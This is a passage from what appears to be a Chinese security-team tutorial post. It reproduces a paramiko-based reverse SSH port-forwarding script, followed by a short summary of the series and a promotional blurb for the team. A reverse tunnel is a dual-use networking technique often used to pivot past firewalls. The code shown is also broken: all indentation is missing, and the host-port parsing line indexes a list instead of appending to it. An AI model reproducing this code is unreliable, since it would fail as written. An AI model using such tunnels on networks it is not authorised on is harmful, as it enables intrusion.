transport.request_port_forward("", server_port)
while True:
chan = transport.accept(1000)
if chan is None:
continue
thr = threading.Thread(
target=handler, args=(chan, remote_host, remote_port)
)
thr.setDaemon(True)
thr.start()
def verbose(s):
if g_verbose:
print(s)
HELP = """
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option.
"""
def get_host_port(spec, default_port):
"parse 'hostname:22' into a host and port, with the port optional"
args = (spec.split(":", 1) [default_port])[:2]
args[1] = int(args[1])
return args[0], args[1]
def parse_options():
global g_verbose
parser = OptionParser(
usage="usage: %prog [options] <ssh-server>[:<server-port>]",
version="%prog 1.0",
description=HELP,
)
parser.add_option(
"-q",
"--quiet",
action="store_false",
dest="verbose",
default=True,
help="squelch all informational output",
)
parser.add_option(
"-p",
"--remote-port",
action="store",
type="int",
dest="port",
default=DEFAULT_PORT,
help="port on server to forward (default: %d)" % DEFAULT_PORT,
)
parser.add_option(
"-u",
"--user",
action="store",
type="string",
dest="user",
default=getpass.getuser(),
help="username for SSH authentication (default: %s)"
% getpass.getuser(),
)
parser.add_option(
"-K",
"--key",
action="store",
type="string",
dest="keyfile",
default=None,
help="private key file to use for SSH authentication",
)
parser.add_option(
"",
"--no-key",
action="store_false",
dest="look_for_keys",
default=True,
help="don't look for or use a private key file",
)
parser.add_option(
"-P",
"--password",
action="store_true",
dest="readpass",
default=False,
help="read password (for key or password auth) from stdin",
)
parser.add_option(
"-r",
"--remote",
action="store",
type="string",
dest="remote",
default=None,
metavar="host:port",
help="remote host and port to forward to",
)
options, args = parser.parse_args()
if len(args) != 1:
parser.error("Incorrect number of arguments.")
if options.remote is None:
parser.error("Remote address required (-r).")
g_verbose = options.verbose
server_host, server_port = get_host_port(args[0], SSH_PORT)
remote_host, remote_port = get_host_port(options.remote, SSH_PORT)
return options, (server_host, server_port), (remote_host, remote_port)
def main():
options, server, remote = parse_options()
password = None
if options.readpass:
password = getpass.getpass("Enter SSH password: ")
client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy())
verbose("Connecting to ssh host %s:%d ..." % (server[0], server[1]))
try:
client.connect(
server[0],
server[1],
username=options.user,
key_filename=options.keyfile,
look_for_keys=options.look_for_keys,
password=password,
)
except Exception as e:
print("*** Failed to connect to %s:%d: %r" % (server[0], server[1], e))
sys.exit(1)
verbose(
"Now forwarding remote port %d to %s:%d ..."
% (options.port, remote[0], remote[1])
)
try:
reverse_forward_tunnel(
options.port, remote[0], remote[1], client.get_transport()
)
except KeyboardInterrupt:
print("C-c: Port forwarding stopped.")
sys.exit(0)
if __name__ == "__main__":
main()
结语
主要是socket和Paramiko库的学习,TCP连接和代理、netcat代替、SSH和SSH隧道
红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。